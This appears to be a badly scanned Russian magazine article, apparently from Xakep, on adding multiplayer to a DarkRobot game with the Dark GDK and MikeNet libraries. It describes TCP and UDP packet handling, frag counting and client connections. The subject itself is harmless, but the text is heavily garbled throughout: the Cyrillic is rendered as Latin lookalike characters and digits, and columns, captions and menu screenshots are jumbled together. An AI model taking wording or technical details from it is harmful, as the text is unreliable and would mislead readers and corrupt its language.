TV1nJl,aHHblxl. nOCfle

iJ,e-cjJopMltlpOSaHIo1Sl naKE'Ta (coxpaHeHVlSl BcexAaHHblX B nepeMeHHblXJ. c no­ M0l..4blO <PYHKUltli1 mnAdd~ (rAe

t -

Hln .o.aHHblx) cjJopMlo1pyeM HOBbli1 naKeT.

3TI1 ¢YHKU,1-1lo1 S Ka4eCTse napaMeTpa npVlHHMaIOTJHa4€ H Vle onpeAeJleHHOrO Tlo1na ,QClHHbIX, HaKoHeu,. nocpeAcTsoM ~YHKl...\t-1V1 mnSendUDPAll ornpaSllR­

ENbIotCOolkritlllh;lv0e*"9f... _lIli'>; ........ ~codo. (jGF)

I

~-I-·I

Ii1cnonb30BAHIi1EMHorOnOTOYHO~61i16nIi10TEKIi1

'+++

s cnY4ae oTCyr~

33 ltlCKJlIOl.feHVleM Taro, OT Kora OH npltlweJl. Ae¢>opMVlpyeM naKeT B TOM >Ke

8lri<!<

"""~ ...-

0-

CTeVlR nOCblflKVlltl-l - npltl n051BJleHVll-1 oWVl6KVI. ECJ1l-1 naKeTnplo1Well. TO ere

~

.+++

1 - id

ocYWeCTBJlReTC51 QlYHKUVleC1 mnRecvUDP, y KOTOpoC1,oBa napaM€ T p3:

MultHh"'odod (/MT)

,.

Altl AatlllblX, ltl nposepKa Ha npltlXo,o OTnpaBfleHHoro KnltleHTOM naKeTa. 3TO

BPEMEHli1li1CnOnHEHIi1H

eM Cq,OpMi1pOBaHlibll1 naKeT seeM KJli1eHTaM.

Y Hee Tpli1

napaMerpa:

1-

coxpaH5Hb VlJlltl HeT ornpaellelHlblH naKeT;

2-

6flOKltlpOBaTb WI VI HeT KOMaHAY AO Tex nop. nOi(a naK€ T He 6YAeT BceM

OTOCflaH; 3-

3,D,ecbyKaJbISaeTCl'J KnlileHT, KOTOpbl11 V1CKflI04a€TCfll-13 cnltlCKa paCCbIJlKV1

[Ha.Qo YKa3aTb TOro K!U1eHTa. OT KOToporo nplt1weJl naKerc 06pa6aTbisaeMbl­ MVlAaHHblMVlI. KpoMeToro, B 3TOM u,ltlKlle 8 nepeMeHHylO deadcount coxpaHSleTcSl H21t1­

+++

60flbwee KOflltl"eCTBO Ha6paHHbix l.1rpOKOM epparoB. nOcJ1e OKOH'-laHl.1Sl u,l.1K1la nepeMeHHa>1 npOSep>1eTCSl,l.1, eCJll.1 OHa 60nbwe Io1flVl pasHa YCTa­ HOBneHHoMy flVlMl.1ry <pparOB, KOTopble Heo6xoJl,Ii1MO Ha6paTb.QJi>1 no6eAbl, TorAa 4!opMlo1pyeTC51 HOBbl~ udp-naKeT 12-oro Tl.1nal.

11+++

8 Hero 3anlt1CbIBa~TC:i1

lt1MeHa lt1 K0l1l.14eCTBO Ha6paHHblX K3)l(AbIM KJ1l-1eHTOM q,parOB, -

lt1 naKeT

TaK)l(e OrnpaBfl:i1eTC51 BceM Klllt1eHTaM AJ1fl BblBOAa !Ha V1xcropoHe] Ta6Jllt1Ubl OT4e"THOCH1 no V1rpe [KTO, CKOJlbKO <pparOB Ha6pafll- n03>Ke 065l3aTeJlbHO paCCMOTplt1M. TaKlt1M 06pa30M, 8 HaweC1li1rpe peaflli130BaHa MyJ1bHmfleepH3l'J

i+++

6aTaJll-151 Tl.1na Free for All- Bce npOTIt1B Bcex lt1JlIo1 Ka)l(Abli13a ce6R.

I

mKJU1EHT YTo5bl npeBpaTl'ITb Haw Clt1HrJ1nfleep B MYJlbTlt1nJleep. B ero KO,o Hy)i(HO 8He­ CTV1 O"l?Hb HeMHoro ltl3MeHeHIo1I1. TeM 6onee, B MYJlbTli1nfleepe lt1CnOflb3yeTCQ

r++ 1+++

TOT)i(e ABV1>KOK, 4TO lt1 B O,Ult1H04H0i1 Ylrpe. n03ToMyyurembo peWVlJl 06be.Qlil­ HltlTbASe aepn1Yl 8 OAHy Io1rpy (Sb16lt1paeTCR B MeHfO]. no 310\:1:+::e npl.14lo1He MaKClt1ManbHO B03MO>KHOe KOfllt14eCTBO Knlo1eH70S paSHO r'H1TVI -

OHnA~HOBbl~ 60~

KOillt14eCTBY

pe60T08 8 CIo1Hrnneepe. V1JM€HeHW;:l KaCalOTGI Tonbt:e cnoco6a ynpaBJ1eHl-1Sl sparaMl-1: B 0,QHonOJlb30BaTeflbCK0l1ltlrpe eparaMIo1 PYKo8oN·n¢YHKl...\ltI>I

I,

.+++

eTC\< napaMeTpOM.

B pe3ynbT8TE: OHa B03spaw.aeT eAI'IHltll..jy. eClH-1

pe3yJlbTaT

l1CKyccT8eHHoro Io1HTeflJ1eKla, a B MHorOnOl1bJOBaTeflbcKo~ ~ npltlH5'lTble

nono;+::vnenbHblL:i. SeeM nOAKlli04eHHbiM K!lVleHT8M coo6w,aeTCSl 0 HOBeHL>­

,QaHHble [ornpasfleHHble OT KJ1YleHTCKO~ L.l2CTIo1 onnOHeHTa, eCIlVl p050TOM

'(OM. cDYHK~ltlH

ynpaeflQeT re~Mepl. Bce CAenaHO AflQ TOro, Lno6bl MO)l(HO 6blflO OCTaSltlTb

mnClientLeft nposepSleT, He OTKllKl4ltlJlCA fll-1 KaKoi1-nlil60

Km.,eHT 1-1, eClllf1 OHa 803Bpaw,aeT 3Ha4eHlIIe 6011bwe

O. 3Ha4V1T,

KJll.-1eHT

AB~)KOK npe)l(HV1M, Ao6asv,B TOflbKO no.o.o.ep)l(Ky MYJlbn,nJ1eepa.

CT8KI'lM l-1AeHTltlqH1KClTOpOM (S03spaw,eHHoe 3H<lyeHl1el Hep,8SHO OTKJlIO­

11+++

4I1JlCSl.

06 310M np01CKop6HOM r.06b1T10111l Mbl TalOKe ltlHepopMwpyeM wpalOll.\Yto

3arpyJltl CBOIC q,lt1HaflbHYKl eepCl-1fO CltlHrnnfleepa. nOToMy 4TO V1MeHHO ee

KJlVleHTaM, S KOTOpblC1 B1l0JKeH el.L.\e 0AV1H UfiK1l no BceM udp-onepaUl-1RM

Mbl 6y,oeM ,Qopa6arblsaTb, KpOMeTcro. T':>I MoxeWb Jarpy3lo1Tb y)l(e rOTOBbl(1

IB HaweCi nporpaMMe l-1XABe],

+++

~DARKROBOTMULTIPLAYER GAME

KOMn8HltlIO nOCpeACTBOM TeKCTOBOrO coo6weHVlSl_Aanee V1,oeT Ul-1KJl no sceM

~

102

l-1 y.>Ke 8 HeM npol-1cxo,ofiT lilJbSlTlile 1'13 04epe­

MyJ1bTl-1nJleep c,oIo1CKa. "lTo6bl CSep>1Tb pe3YJlbTaTbf.

XAKEP

05/125/09


YCnEWHOE3ABEPWEH\II\II \IIHCTAJ1J1f1l.1\11\11 MIKENET

0Alla ¢yHKU,lIL" - 3TO dbScanCode. KOTopa" B03Bpau~aeT HOMep Ha)l(aToC'l KllaSl.>1Wl.>1. HOMepa cTapryJOT c eAl.1HlttUbI. Ha4l.1H31'l c KJla8V1WI1 C6YKB0i1 «E»), ECflltl Bbl6paTbClILHrJ1nJleep, TO OH 1i13arpY3lt1TCI' - He 6YA12M paCO<1aTplilBarb 3TOT nyrb, nOCKOllbKY Bce 0 HeM 3HaeM!

C APyrol1 LTOPOHbl, eC111'1 Bb/6paTb MYIlbTl'1nIle­

ep. TO nOI'lB14TUI HOBoe M2HKl, rAe npeAflaraeTc" BSeCTI1I1M" reHMepa. KOTopoe JanOMlILHaeTC" B rJ106aJ1bHOCl nepeMeHHoVi iii coxpaH~eTc~

Ha npOT5I)I(eHl.>1ltl 6cero ceaHca lILrpbl, 3a pa60TY

www thegamecrealors.

::noro MeHIO OTBeTCTBeHHa q>yHKUtoIl'l GetUserName. nycToe

NfJl - ca~T pa3pa­

l'IM>l 88eCTlil He11b351_ KorAa !'IM~ 6yp,eT 8se,QeHo, nOHBV1TOl

60T4\11K3 Dark GDK.

CI1€AYlOw,a>l CTpaHIilUa M€HtO. rAe l-laAo 6y.o.eT 88eCTltl ip-aApec

BO BPEMfI PA150Tbi CEPBEP BblBOA\IIT A\IIArHOCT\II'lECK\IIE AAHHblE

cepsepa

3ry CTpaHltll.\y BbIBO,QI1TlIL 06c11y)l(118aeT epYHKlJ,I1R makeConnect, KOTOpa>l nOCJl€ n0I1Y4€HIiI" ip C nOMOlllbtO Q>yHKlJ,1iI11 mnConnect

8 OCHOBHOM

V13M€HH € V1>lM

nO,QseprJHKb ...eTblpe ¢Jai:ina:

Main.

cpp. Robot. cpp. Robot. h. Game_Obi. h Ie nOCn€ A HlilX .Qayx lt13MeH€HlilS1 OY€ H b

4>Io1Ka~lo1v. c

HecYLI..\eCTS€ H Hbll.

epal1J1o Main. cpp. 3.Q€Cb

6anbHafi nepeMeHHdS1 pe)K:.1M L-Irpbl:

0-

gamemod. 8

nblTaerCR nOAK11IOYlt1TbC~ K cepsepy. <DyHKUlttltt mnConnecl nepe,!l,aIOTC51 weCTb napaMeTpoB: ip-a,!l,pec cepBepa, O>KlILAalO~ lllero nOAKJlI04eHlILI' no tcp; HOMep OTKpblTOro tcp nopra Ha 3TOM

, dvd

,D,06aSi1JlaCb Ba>KHafi rJlO­

cepsepe, ip-aApec cepsepa, O>KV1,o,3IOu.\€ro nOAKnlO4eHI1Sl

Ha ,QlILCKe Ile>KVlT

HeLii OTM€ 4 aeT(f1 TeK)'UJ,10111

no udp; HOMep OTKpblToro udp nopTa Ha 3TOM cepBepe; apeM"

nOJ1HblL1 \IICXOjJ,HbIVt

O>KI1p,aHIiI51IB ceKYHjJ,ax) OTBeTa OT ccpsepa; K011014eCT80 no­

KO.n. epllLHaJlbHOH

Ha4HeM 0630P MOJ\ltl­

pe>KI-IM He YCTaHOSJleH (pe::KVJM Ha43nbHOro

MetilO!. 1 - OIHrJlnlleep. 2 - MYJlbTlt1nneep. nOKa BHawei1 Vlrpe

TOKoa (310T napaMerp aHaJ10n14eH 0AHoI1MeHHDMY B ¢VHKl\1111

aepCl11i1 MHoronOllb­

peaJll.130SaH TOflbKO 0,D,li1H MHoronOflb30SaT€ J lbCKl1i1

mnSlartServen-1 paccMOTpeH BblUJel. 8 c11Y4ae ycnexa no,Q­

30BaTenbcKoH IIlrpbl

pe)+(V1M,

a-

no:noMy. eCn .... XO'-leWb ewe pe)KI1MblIHanpI1Mep, /W3JlbHbIVo

KflJO'-leHlIlSl ,QaHHa51q>yHKu,Lo19. 803BpaU\aeT 1,

VlJlV1 33Xe<lT<pflaral. TOYD,OOHee scera Ao6aBl-1Tb MHAV1KaTOp

BpeMeHI1 O>KI1AaHltt,,11

s CJlY4ae OWI16KlIL. AHal1>13lt1pYQ B03­

nl111qu,ltllt1 KoToporo

rp>KVlMi'l 8 3ry nepeM€HH)'IO_ nO~TOMY. KpOMe scera np04ero,

spaw,aeMoe 3Ha4eHl1e. Hawa epYHKLl,>1S'! makeConnect BbIBO,Qlt1T

HY)l(Hbl: Visual C++

aSTOp npV1rOTOBVlJl ,!J,l1R Te6f1 nerKO paCWlI1pSl€ M bli1

,D,ltlarHOCTW-leCKl1e p,aHHble. HecMoTp~ Ha TO, 4T0,D,J1Sl tcp- lt1 udp~

2008

nO,QK11Kl'-leHlt1i:1lp-a,a,peca nepe,QaJOTc,,6 pa3Hbix napaMe,pax,

DirectX 9,OSDK. Dark

neHl11' H1n;;l tcp 11 udp naKeTOS [0 HV1X Tbl 411TanSblwe 11 Mo>t<eWb

MikeNet He MO)l(eTpa50TaTb C,QSyMSl pa3HblMIiI cepSepaMl1,

GDK, MikeNet

y3Harb 60llbwe ~3 KOMMeHTcpv.es K nporpaMMel1il lll1MloH

n03TOMY He06xoAVI MO YK33 "I BaTb ip~a,ll,pec O,D,Horo iii Tora >Ke

<l>parOB

cepsepa. noc11e y,Qa4Horo COe,D.lt1HeHl-1,,3arpyxaeTC51lilrpa.

MeXaHli13M

L1rpOBOro .QBIo1)KKa. TaK)Ke Ao6aeJleHbi KOHCTaHTblp,JH, onpe.o.e­

-1 -

no V1CT€4eHV1V1

nocne 33nYCK8 I1rpbl nepeA rei1MepoM nOI'Bn~eTCI' KOl-lCOIlb­

3aMe4Y. '-lTO B Jlt060M ltl3 MeHlO Bcer,Qa e(Tb B03MO)f(HOCTb no­

Hoe MeHIO Bbl60pa pe%V1M3. n04€ M Y KOHCOl1bHoe? nOTOMy

KIiIHyrb era, BepHyBWltlCb B Ha'-laflbHoe. Tame 8Ja\.1MOAe~CTBlile

4TO yurembo He XOTe11 OTXO,ll.l'1ib OT H843JlbHOC'l 33jJ,YMKI1(caM31'

Me'%.JJ.Y epYHKLtl1SlMIil oCYlllecTBVlMo 6llaroAapfl BOJBpalllel-ll'1tO

nepaa>lsepCI1>1- eUlIil nOI.\HV1Wb, KorAa BbIBop,V111acb H3Anl1Cb,

(n04Tltt] Ka)I(,QOH epYHKlI,lt1eCl 6yneBcKOro 3Ha4eHV1I1: ycnewHo

nOBecmylO1ll3Sl 0 Jarpy3'(\? YPOSHSI).

KTOMY :>Ke, eMy 5blflO lleHb

OarkRobot, ,QIlS'! KOM·

Express Edition,

\4/1lt1 HeT8bIn011HeH3Ta l-1J1I1I1H351 onepaLJ,I'HI. 80 SpeM513a­

pltlC083Tb KapTltlHKI1 AJlSl epOHc ~II(HOnOK MeHKl [6b11l3 5bl era

rpy3KI'1 MHorono11b30saTe11bcKoC'l J.1rpbl np0\.1Cxo,QltlTTaKaSl)l(e

~

BOllI', 01-1 KpoMe HanlilCaHI1S; KOA3 Bo06w,e HI14eM 5bl He 33­

I1HV1Ll,l1anJ.1JaqllL~. 4TO 11 npl1 OAliIH04HOC'l. TaK KaK r11aBHblMVI

ECJ111 TeMa Te6q

HIilMaIlC>l1. 8 3TOM [ltl BO Bcex nOClle,IWIOw,l1x) MeHIO ,(IIHl Bbl­

Ael::icTBylOUllt1MlIl 11V1Ll,aMlIL 51BJl"IOTCH p050Tbl, I1X Kllacc ,QOJl)l(eH

33V1HTepecoe3113.CO­

50pa HY)I(HOIO nYHKT3 HeAo Ha)l(aTbYKa3aHHYJO p5l,!l,OM CHI1M

cO,Qep)l(aTb nepeMeHHyK>-4neH -lttAeHTlileplilKaTOp MYJlbTlILnne­

06w,11 06 3TOM 3BTOpy.

KI13Sl1llJY· nepSOH3"l3JlbHOe MeHIO SbISO.QlttTCaMOnIilCHa51

epHoL:i lt1rpbl.

¢YHKl..(I1>l Selec[GemeType 8 Hel.1 06Hy1151eTc5I nepeMeHH3>1

Mltl: ecnl1 p060T )l(V1S, OH S oHna~He (KIll1eHT B OHJ1a~Hel. a eCJ11t!

xaKepcKoro l'lrponpo­

game mod, TO ee-:> ,'roa nep2S0,QI1TC~ 8 pe)l(lttM MeHIO. 3aTeM

y6lt1T, TorAa S OTKJlIO'--lKe. EUle OAHa nepeMeHHa51. ,Q06aB11eHHa51

Ma

JanycK3eTcSI Ll,I' <.: ...C-CO!;H1 <'spaw,aeTC}l». nOKa C nOMcw,bJO

B Kllacc p060TOS - 3TO cnumber, KOTOpal'l XpaHlt1THOMep Kll!'l­

K1l3S!'IW He Bbl6:lcr- r:'-:X,1I.1 t~rpbl. 3.n.eCb I1HTepecHa TOJlbKO

eHTa B nopSlAKe no.o.KJl104eHV1fl K cepeepy,

XAKEP

OS/125/0Y

3ro C,Qe11aHO S CSS;311 CnpOCTblMIil paccY>K,IJ,eHVlQ­

info

np0,QomKI1M pa38lt1T\.1e

B CBl'l3V1 CreM, 4TO 3TI1 ~

103

\


r++ '~

'j

(+++

!J

!:.onfiguration: rActiVe(Debug)

+++

,,"

8'. Common Properties:

II,.

i

I

:····General

:.... Debugging

CQnfiguration (Vlanager...

J

MikeNet.lib W52_32.1ib

~

No

libcmtd, ,:",svcrt, atls

"

Module Definition File

Add Module to Assembly

I±iC!C++

Embed Managed Resource File

$ .. Linker

"+++

::1

Additional Dependencies Ignore All Default Libraries Ignore Specific Library

1.... Framework and References

B·· C?nfiguration Properties

.+++

~atform: rActive(Win32)

force Symbol References

1··· General

i_

Delay loaded DlLs

Assembly Link Resource

'-+++

j Manifest File ! Debugging System .Optimization

-+++

, ··Advanced L... Command Line

"Embedded lDl

~" Manifest Tool

liJ·· XML Document Generator $-- Browse Information

.+++

$-' Build Events rE·· Custom Build Step Additional Dependencies

Specifies additional items to add to the

-+++

link Une

(ex: kerneI32,lib)j configuration specific.

OK

'-+++

OTMeHa

np'l1tieHI1To

I

A06ABJ1 EH HE AOnOJ1H HTEJ1bH blX 3ABHCH MOCTEi'!

.+++ BepHeMC51 B Main. cpp. KpoMe accro np0l.Jero.

HOM epa onepalllo1l1l-l KJ1lo1el-na. 3aTeM npoee­

,D,06aefleHbI q,yHKLJ,lt1ltl. ltl3MeHfHOUl,ltle V1 803­

Tenepb, np'" C03AaHIooll-l rll3BHoro po6oTa, ero

pSleTCI1, KaKa" 3TO onepau,I1Sl: tep-onepal...\l1ii

Bpaw,a10 l.L.llt1e 3HayeHltl513H1X nepeMeHHblX .

MeCTOnOflO)KeHLo1e Bbl6ltlpaeTCI'l cflyqaiilHblM 06­

scero ,D,Be ICMOTP\'1 HByallO a63al..lal. Eel1 V1 onc­

KpaTKO Lo1X paCCMOTpltlM: q,YHKLJ,ltllo1 SetN umber

pa30M.lt1 XOTl'l Bparl1 C03AatOTOl C 3aAaHHbIMV1

paLJ,l1" - ~<HoBbli1 Kflll1eHi~). TO Sl..lltlKJle l1w,eTC"

V1

.+++

-+++

~>H

~pyrlt1e

nepeMeHHble 3aKpblTbl, B KJlaCC TaK>Ke

ltl Gel Number COOTBeTCTBeHHO yCTaHaefll1­

no YMofl4aHIoolIQ KOOpAl1HaTaMI1, nOCJle nO,D,KfllO­

l-leaKTI1BH~I~ p060T,

BalOll1 B03BpaU\aIOT 3Ha4eHltle nepeMeHHoii

yeHI1Sl Ol.JepeAHOro Kfll1eHTa 11 C03AaHI1Sl era po­

OH CTaHOBI1TC51 aKTlt18HbIM 11 npV1Bl'l3bIBaeTCSl

cnumber, SelLifeCounlLo1 GetLifeCount

60T8 rHa ero MaWlolHe] O,ll,l-1H 1>13 sparos [nepsbliiI

nop' ynpaBl1eHI1€ OT BHOBb nOAKfl 104l-'1Bweroe"

yCT<lHa Sfll1BatOT

HeaKTl-1SHblii! aKTl-lSI13IoolpyeTC5l11 BXO,D,IoolT B I1rpy

KJllo1eKTa. ECJ1l-l)l(e oncpau,l-l51- «KJlV1eHTywell»,

>K\.13Hei1. GetWinCount B03spaU\acT KOfl\.1­

C Koop,OI1HaT3Mltl po60Ta-OnnOH€ H 1a.

TO S u,lt1Kfle CHosa npOI1)BOAI1TC" nOl-1eK no BeeM

l.JeCTBO Ha6paH HblX ¢paroB, a ZeroWinCount

HIool>Ke no KOAY Mbl nonaAaeM 80CHOBH0L;111I1KI1,

epa>KeCKLo1M po60TaM C I..l€Jl:.1O 06Hapy)Kl-1Tb

rAe BMeoo B3aIoolMoAeMCTBl-lfl C o6beKTaMI-1

po60Ta C HOMepOM (cnumber, 8D3spaw,ae-

SetMultiplayerMade lt1 GetMultiplayerMode,

CH34ana l1,OyT ceTeBble pa6oTbI. TO eCTb npo­

MblM 4>YHKLJ,lo1e~ GetNumberl, pasHblM HOMepy

COOT8eTCTBeHHO, YCTaHasflV1 BalOl

Bepn'1 Ha npl1XOAflw,l1e na KeTbl pa3HbiX Tl-lnOB.

KJ1V1eHTa, OrnpaBI1BUJero eoocw,eHl1e 06 yxoAe.

101 B03Bpau.~aIOT

o6HyJll'leT3Ty nepeMeHHylO.

VI

nOCfleAHl'll'l napa:

I

--+++

a03Bpaw,a­ PO­

Robot.

cpp.­

,

~

nOCfle TOro. KaK HOMepa cOBna,OyT. Halo1,QeHHblllt

B TOM CI1Y4ae, eClllt1 y rllaanepCOHa>Ka 8KJHOqeH

spa>KecKV1101 p06oTyHl-l4TO>KaeTcSl. nOClle npOeepKI1 tcp npoaepSleTC? udp. Onepa­

KOHCTpyKTOp l.1 ,OeCTpyKTop p060Ta npeTepnefll.1

MYflbTLo1nl1eepHbli1 pe)Kl-lM (4I1T3ii1sblweJ.

nOCKOllbKY n3KeTbi C,OaHHbIMl-l 0 nOSlSfleHl-ll-1

u,Y1i1 UDPTo)Ke,OBa TV1n2: nepBblllt- 3TO MaHl-l~

IOTeSl HeSIo1Al-lMbIMI>1lt1 HeaKH1BHblMltl . .QeCTpYK­

HOBOrD. a T3K::+::e C,OaHHblMI1 06 yxoAe CTaporo

nYI1SlLJ,Io1l'l 06beKTOM [p060TOM! IPositionClienlL

e € lll>1 YHItlYTO)KaeTCSl p060T

rflSBHoro nepCOIi<))Ka. TO Klll-leHT OTKI1IOl.Ja€TCl'l OT cepsepa

Ie nOMow,blO Q:lyHKU,V1V1

mnFinlsh.

Kfllt1eHTa nepeAalOTcSl C cepBepa no (cp, 3H341oolT,

a BTOpOi'l - co06w,€ H 'Ae.

era Mbll-1 ,OOI1)KHbl npocl1ywl>1saTb. etJYHKLJ,l1fl

60iil Cl.1rHafl 0 flo6eA€

mnRecv

rcp npOBep>leT BXO,OSH1.\Vli1 tcp-nOToK

He I1MelOw,ei1 napaMeTpOBL CT0Lo11 3aMeTV1Tb.

YHee eCTb I1I1W b O,o,VlH

napaMeTp, KOTOpblM

npe,D,CTaBllfllOw,ee co­

[Win). C o6pa6oTKolo1 na­

K€Ta r:epBoro TV1ns ace 6011ee I1flltl MeHee ACHO: 3TOT <pparMeHT KO,D,a nO:<C>K Ha KO,D,. paccMoT­

4TO l-lMeHHO B Q:lYHKUl-1I1-I.HleHe KflaCCa p060TOS

,OJll'l KIll-l€HTCKOii nopOH bl He V1MeeT 3Hal.JeHlt1>1.

peHHbl1lt S cepeepHoM l-1CXOAHltlK€, Kor,Qa AaH­

Die yOCfll1'"1I1SaeTcp: ('"IeTY 11K Q:lparOB. AllSi :noro

n03TOMY paseH NULL. Eefllt1 BXOASlW,l-1X naKeTOB

Hble

ocyw,eCTBflSleTCSl npOBepKa, KeM 6blfl y6l1TT01

He o6HapY)KltlllOCb. TO cPYHKlIV15l B03spaU\aeTO.

Kfl l-1eHT8 l-l oTnpa8fll'lI1I1Cb OCTSJ1bHbIM. TOflbKO

a eCJll.1 O,OV1H VlI1I1 HeCKOllbKO naKeTOB eCTb. Tor­

3,OeCb eMeno q,OpMl-lpOSaHl-ll'l l-10TnpaBKl-l

Mfll1l1HOiil OnnOHeHT, 11, eCJlI1 y6V1ii1l.\a -

"1_+++

Ho ceTeBbie pa60Tbi np0Io1380,D,SlTC5l TOJlbKO

He60JlbWI1e l-13MeH€HV1tl: p060Tbl-sparl>1 pQ)+<,Oa­

Tap npOBepl'leT -

l.+++

lt1

lOT pe>KV1M lt1rpbl [AJll'l n€ p € M eHHoi1-yneHa 60Tal. '1TO eW,e KaCaeTCl'l <jlai1na

-+ ++

K0J1lt1yeCT80

B CflY48e Haxo)l(Ael-llt.Sl

3TO

0 r=

Yl1ellY

npl11H\IlMalll1C~ OT

O,OHoro onpeAeneHHoro

rflaBHbliil nepCOHa)f(, eMYAo6asl1>1eTC>1 1 ¢par.

,D,a OHa B038paw,aeTl.JI1CI10 6011bwe

nOAc4eTbi BeAYTc51 AmI Ka)l(Aoro KJll1eHTa OT~

naKeTOs, CTOl'lUJ,lt1X B o4epeAb Ha 06pa6oTKYl.

naKeTa npl1 HSlTble ,qallHble Y4aCT8YK:lT B MaHI1­ nyn,"u,~v, Hap. 06be'"TOM: nepeMew..en'lIe VI no ..

AeflbHO, HO 611a rOAa pp; CTaT14CTI1Ke. KOTOpylO

PaCCMOTplo1M ClIeHapVli1, no K010pOMy naKeT

BopOTe nOMow,blO ¢YHKl.\I-111t Dark

BeAeTcepeep, ,OaHHble Clt1HXPOHI13l-lPYIOTCl'l.

npl1wen. Vl3 Hero 113SJ1eKaIOTCl'l ,OBa 3Ha4eHI1~.

npOe€ p tleTcSl.

GDK. Tyr)j(e

SblCTpefll-1fl fll1 KI1l-leHT. Ha :HOM

I

1--+++ ;1

~104

XAKEP 05/125/09


\

J1 11M IH C1>PArOB PABEH TPEM

\ BblnOJ1HBHli1e onepau,10111 YI nepBbl~ yC!'10SHbICi onepaTOp. 01HOC>1 L1J,V1~C51

a H8 ero Ma Wl-1H€ -

\

OCTaHyTUI :>Kl-1 Bbl, TaK KaK >t:.1iI3Hev.-TO y Hl-1X 60nb­

80

K onepal..\lt1", PositionClient. 3asepWafOTC51, li1 ,qallee l-1.o.e1 BTopae yCJlO­

we, yeM B peaflbHOCTliI,

BIo1B, KOTopoe npoaepflBT OTHDweHVlB onepau,I'1V1 KO 8TOPOMY HWy - Win,

Kllltlel-lTbl C006l1.\31OT CSOIo1M onnOHeHTaM, CKOll bKO Y HIiIX )l(ltl3He~ B pealle,

1oI36e:>KaHlile 3TOYI Henpl-1,nHoi1 Cl-1Tyau,liIl-t

B ClolHxpOHIo13aLJ,Vllil,

ECJl\1 (epeep AeC1CTBl-nell bHQ OTnpaSI-l/l naKel ud pC TaKoiii onepau,V1eCi,

11 np0l-1Cxo,QI1T Cl-1HXpOHH3au,l-111 Me)f(,Qy KnVl€ H T8Mltl.

3H3'-l1<1T,KTO-TO Ha6pan HY>KI·lOe

no 60nbwoMy c4eTY, l-1 3aKfl104aeTCp. OCHOSHal'l TPY,D,HOCTb pa3pa6oTKl-1

KOllViYBCTBO

q.paroB. V1rpa 33aepweHa,

1'1 HaAo BblSBCTI1 Ta611I1u,y pe3y.nbTClTOB. KOHe4HQ ;t::e, tAb! peanlll30Sallli1

B

l'1rpe 13KYfO

803MO>KHOCTb l

Ho n pe>K,ll,B.

nOCJle Toro, K3 K CTaJlD RCHO.

oHflaVtHOBbix l-1rp. KCTaTIo1, HaKOHell,-TO, B 101 rpe n0I1Slil11aCb nay33 I Tenepb, npl-1 Ha>KaTI1l-1

'"ITO npV1wen win-naKeT, Mbl AOJl>KHblli130nBYb 1-13 Hero I1H¢JOPMal..\lt1IO,

Escape 80 SpeMSll1rpbl, OHa H€ 3aS€ p WliIT

nOCKOJlbKya 3Toill nOCblllKe COAep)I(aTcfllllMeHa Bcex KllL1BHTOB BMBere

O>t:.l-1)l,3Tb. HanpoH1B, nepe,Q 103epoM OTKpOeTCSl (cHOBal KOHCOf1bHoe

C Y'I1CneHHblM Bblpa>KeHl1eM I1X paTHblx nO,ll,Bl1fo8. Aml3Toro B U.l1Kne Mbi

MeHIO, S KOTOpOM 6YAeT HanlilcaHo, K3Kl-1e Kl1aBI1Wl-1 All" 4ero,

3anOIlHSlBM MaccV1 B r.epeMeHHblx

CTpynypHoro Hma,

06bl'fSJleHHoro

p3Hee )J,aHH bl MVlI>13 naKera. Tenepb SUI l.1Torosal'f Ta6nVlu,a coxpaHeHa

6 MaCCVlBe.

)J.3nee YAanlilM

Vl3 naMI1Tlil AlilHaMlil4ec",lile 06beKTbl, c",poeM

CTaTlil4eCKv.e iii Bbl30BeM CaMOnl-lCHYIO <PYHKU,liI K) NelG3meOver, KOTOpal1,

nOClle,IJ,Hee, Ha "ITO HaAO 06paTliITb BHlilMaHl1e, 3TO l-13MeHeHlill1 B $ai1f1€ Game_Obj.

h. B HeM TOflbKO

l-13MeHeH npOTOTloln ¢YHKLJ,ltll1 Die. ECl1l-1

paHbwe OHa 6blJla '-;liICTO BHpryaflbHoi1, nOCKOl1bKY BO Bcex KflaCCaX­ nOTOMK3X lilcnOfl b30Ba113Cb 6e3 lil3MeHeH l-111 npOTOTltlna, TO C€I.1'13C

co6CTBeHHO, o6pa6oTaeT MacCIiIB C ,D,aHHbiMlil lil BblBe,D,eT lilX Ha 3Kpa H

B

B BlilAe,D,Byx CTOIl6LJ,OB.

nepeCTalla 6b1Tb 41i1CTO BlolpryallbHoi1.

no 3aBepweHliIliI YCJlOBHblX OilepaTOpos cneAyeT KO)J, ~OPM liIpOaaHVll'f

lil OTnpaBKIiI udp·naKeT3.

C 3TlilM

Mbl y>t:.e 3HaKOMbl(,QIlR OCSe)l(eHltl51 naMS'l­

TV! CMOTpl<! pa3Aell «CepBep~>1.

CBOIO pa60TY, KaK MO>t:.HO 6blJ10

KfleeCe P060TOB B AecTpyKTOPA06aBliIflC" n3paMeTp, VI n03TOMY OHa

Mbl paCCMOTpCflliI HOBbl(1, CB,,33HHbli1 C MYflbTV1nIleepOM KOA, norpy3V1­ lll-1Cb so Bce Xl-'tTpOCnJleTeHlil~eeTeBblX l-1rp lil pa3pa6orafll-1 MHoronOflb­ 30BarellbcKYfO 6aT3lll-11O H3 OCHOBe IoIrpoBOrOABltl)l(K3 DarkRobot. ECJll-1 Tbi np04101TaIl Bce CTaTblilll,liIKfla, TO

y>Ke

3HaeWb r011K a lilrpoCTpOeHlill-1,

mlif3EiErAEM HEnPIif51THOCTEI1

l-lCKyCHO Sll3AeeWb TeXHlil "'0(1 C03,QaHltlSl KOMnblOTepHblX lilrp ltl, Bo06~e,

YHac OCTaIllilCbAB3

R BIl"eWbCSl eBeTllblM ,[J,)Ke,lJ,aeM, KOTOpOMy npeACTolilT AJll-1HHbli1 nYTb

HepaCOWTpeHHblX Bonpoca:

• 3al.leM, BCe-T3KIiI, Olopa BJ151Tb lil lil3MeHl1Tb ISHe re(1 MnneSll KOJlWle­

K aepWI-1He MaCTepCTBa! KaK Tbl socnollb3yewbC51 3Tl-1MVI 3HaHlil>iM\1,

CT80 >Klil3Hei1?

33Sl-1CliITTOflbKO oTTe6Sl. BaplilaHTOB Macca: B03MO>KHO, Tbl6YAeWb

• n04eMY nOCJle loro. KaK OrnpaBJl51eTCI1 naKeT C JlIiIMIiITOM <pparOB,

nporpaMM lolCTOM B KaKo~-H1iI6y,o,b KpyTOVt <pliIpMe 1-1 CBOlilM TaJlaHTOM

nepeMeHHal1-,"JleH o6Hylll'leTCs:f?

nOMO:>KeWb POCCl-1VtCKO~ l-1rpOBOI1l.1HAYCTpl1l1, Mo>t:.eT 6blTb, MaXHeWb

Ha

